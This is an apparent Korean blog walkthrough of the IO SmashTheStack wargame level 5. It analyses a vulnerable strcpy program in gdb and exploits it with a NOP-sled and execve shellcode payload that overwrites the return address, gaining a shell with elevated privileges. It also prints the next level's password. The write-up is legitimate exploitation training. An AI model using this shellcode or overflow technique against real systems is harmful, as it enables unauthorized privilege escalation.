본문 바로가기
스터디/wargames

[BOF-Wargames] IO SmashTheStack Level5 문제풀이

by 깝태 2011. 8. 12.

드디어 이번 레벨부터 8 까지 버퍼오버플로우 문제인것 같습니다.
레벨 9 는 포맷스트링에 대한 문제이고 그 이후는 아직 풀어보지 못하였습니다.

level5@io:~$ cd /levels

level5@io:/levels$ ./level05

이번에는 프로그램을 실행해도 아무 메세지도 뜨지가 않는다.
인자를 전달해줘보자

level5@io:/levels$ ./level05 aa
aa

level5@io:/levels$ ./level05 aa aa
aa

입력한 argv[1] 의 문자열을 다시 출력해주고 있다.
소스가 있으니 먼저 소스를 분석해보고 필요하다면 디버깅을 해보겠다.
 
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128]; // 버퍼 128바이트 선언

        if(argc < 2) return 1; // argc 가 2 보다 작을겨우 프로그램 종료

        strcpy(buf, argv[1]); // argv[1] 을 buf 에 복사합니다, argv[1] 이 buf 보다 클 경우 버퍼오버플로우가 일어납니다.

        printf("%s\n", buf);

        return 0;
}

소스만 봐서는 분석이 되지않는군요, 

level5@io:/levels$ gcc -v
Using built-in specs.
Target: i486-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.4.5-8' --with-bugurl=file:///usr/share/doc/gcc-4.4/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.4 --enable-shared --enable-multiarch --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.4 --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc --enable-targets=all --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=i486-linux-gnu --host=i486-linux-gnu --target=i486-linux-gnu
Thread model: posix
gcc version 4.4.5 (Debian 4.4.5-8)

GCC 버전은 2.96? 버전보다 높으니 자동으로 더미가 붙습니다.
디버깅을 시작해보겠습니다.

level5@io:/levels$ gdb -q level05
Reading symbols from /levels/level05...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp // 프롤로그 부분
0x080483b7 <main+3>:    sub    $0xa8,%esp // 168바이트 스택 공간 생성 (ESP-168)

0x080483bd <main+9>:    and    $0xfffffff0,%esp // ESP 와 -16 을 and 연산
0x080483c0 <main+12>:   mov    $0x0,%eax // EAX 에 0 값 복사
0x080483c5 <main+17>:   sub    %eax,%esp // ESP 에 EAX 만큼 스택 크기 생성

0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp) // (EBP+8) 과 1 비교 - argc 와 1 을 비교
0x080483cb <main+23>:   jg     0x80483d9 <main+37> // CMPL - True => 0x80483d9 로 점프
0x080483cd <main+25>:   movl   $0x1,-0x8c(%ebp) // CMPL - False ==> (EBP-140) 에 1 복사
0x080483d7 <main+35>:   jmp    0x8048413 <main+95> // CMPL - False => 0x8048413 점프~ 

0x080483d9 <main+37>:   mov    0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - (EBP+12) -> argc
0x080483dc <main+40>:   add    $0x4,%eax // EAX + 4 => argv[1] 의 시작주소

0x080483df <main+43>:   mov    (%eax),%eax // EAX 에 EAX 값 복사

0x080483e1 <main+45>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사
0x080483e5 <main+49>:   lea    -0x88(%ebp),%eax // EAX 에 (EBP-136) 의 주소 값 복사 - (EBP-136) -> buf
0x080483eb <main+55>:   mov    %eax,(%esp) // ESP 에 EAX 값 복사
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt> // strcpy 함수 실행 - strcpy(buf, argv[1]); 
// 인자를 모두 전달해줬다.

0x080483f3 <main+63>:   lea    -0x88(%ebp),%eax // EAX 에 (EBP-138) 주소값 복사 - buf
0x080483f9 <main+69>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - buf 값 복사
0x080483fd <main+73>:   movl   $0x8048524,(%esp) // ESP 에 $0x8048524 값 복사 - 0x8048524:       "%s\n"
0x08048404 <main+80>:   call   0x80482b4 <printf@plt> // print 함수 호출

0x08048409 <main+85>:   movl   $0x0,-0x8c(%ebp) // (EBP-140) 에 0 복사
0x08048413 <main+95>:   mov    -0x8c(%ebp),%eax // EAX 에 (EBP-140) 값 복사 - 초기화 과정
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret // 에필로그
End of assembler dump.

앞에서 우리는 (EBP-136), 그러니깐 buf 가 더미까지 합쳐서 총 136바이트 인것을 알아챘다

이 문제는 전형적인 버퍼 오버플로우 문제이다. 메모리 구조를 확인해보면

| buf - 136Byte | SFP(EBP) - 4byte | RET - 4Byte | 이다.

총 쉘코드를 덮어줘야되니깐 100 바이트를 NOP 로 덮고 25 바이트를 쉘코드로 덮고,
나머지 15바이트를 또 NOP 로 덮어준다음 앞서 기록한 NOP 의 주소를 RET 로 변조시켜주면 된다.

그러면 페이로드도 구성했으니 공격해보자.

(gdb) x/30x $esp
0xbfffdbb0:     0x08048524      0xbfffdbd0      0x08048184      0x00000001
0xbfffdbc0:     0x00311ff4      0xbfffdcb0      0x00312ab0      0x00000000
0xbfffdbd0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdbe0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdbf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdc00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdc10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdc20:     0x90909090      0x90909090

(gdb)
0xbfffdc28:     0x90909090      0x90909090      0x90909090      0x6850c031
0xbfffdc38:     0x68732f2f      0x69622f68      0x50e3896e      0x31e18953
0xbfffdc48:     0xcd0bb0d2      0x90909080      0x90909090      0x90909090
0xbfffdc58:     0x90909090      0x00b42c00      0x00000002      0xbfffdd04
0xbfffdc68:     0xbfffdd10      0x001118c8      0xbfffdcc0      0x0177ff8e
0xbfffdc78:     0x00311ff4      0x0804820b      0x00000001      0xbfffdcc0
0xbfffdc88:     0x00303626      0x00312ab0      0x00111bb8      0x00c6dff4
0xbfffdc98:     0x00000000      0x00000000

RET 의 주소를 0xbfffdbe0 라고 생각하고 한번 넘겨줘보았다.

level5@io:/levels$ ./level05 `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*15 + "\xe0\xdb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
                      Í€àÛÿ¿
Segmentation fault

엇, 그러나 세그폴트가 뜨고 쉘은 뜨지를 않았다.
이상해서 이곳 저곳 주소를 넘겨줘봤는데 쉘은 뜨지 않았다. 알고보니 그냥 단순한
GDB 상의 메모리 주소 오차 문제이다. 그래서 생각해낸 방법이

argv[1] 에 140바이트를 모두 덮고 argv[2] 의 주소를 RET 로 넘겨주고
argv[2] 에는 무수히 많은 NOP 를 덮어준다음 쉘코드를 덮는 방법을 생각해보았다.

level5@io:/levels$ ./level05 `python -c 'print "\x90"*140 + "\x10\xdd\xff\xbf"'` `python -c 'print "\x90"*80000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`                      Ýÿ¿

sh-4.1$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)

sh-4.1$ cat /home/level6/.pass
MJQsFVD8k46V

NOP 를 8만개 넘겨줘보았더니 문제가 성공적으로 풀어졌다. 위와 같은 경우는 메모리 주소 오차따위는
생각해보지 않아도 되는것이다.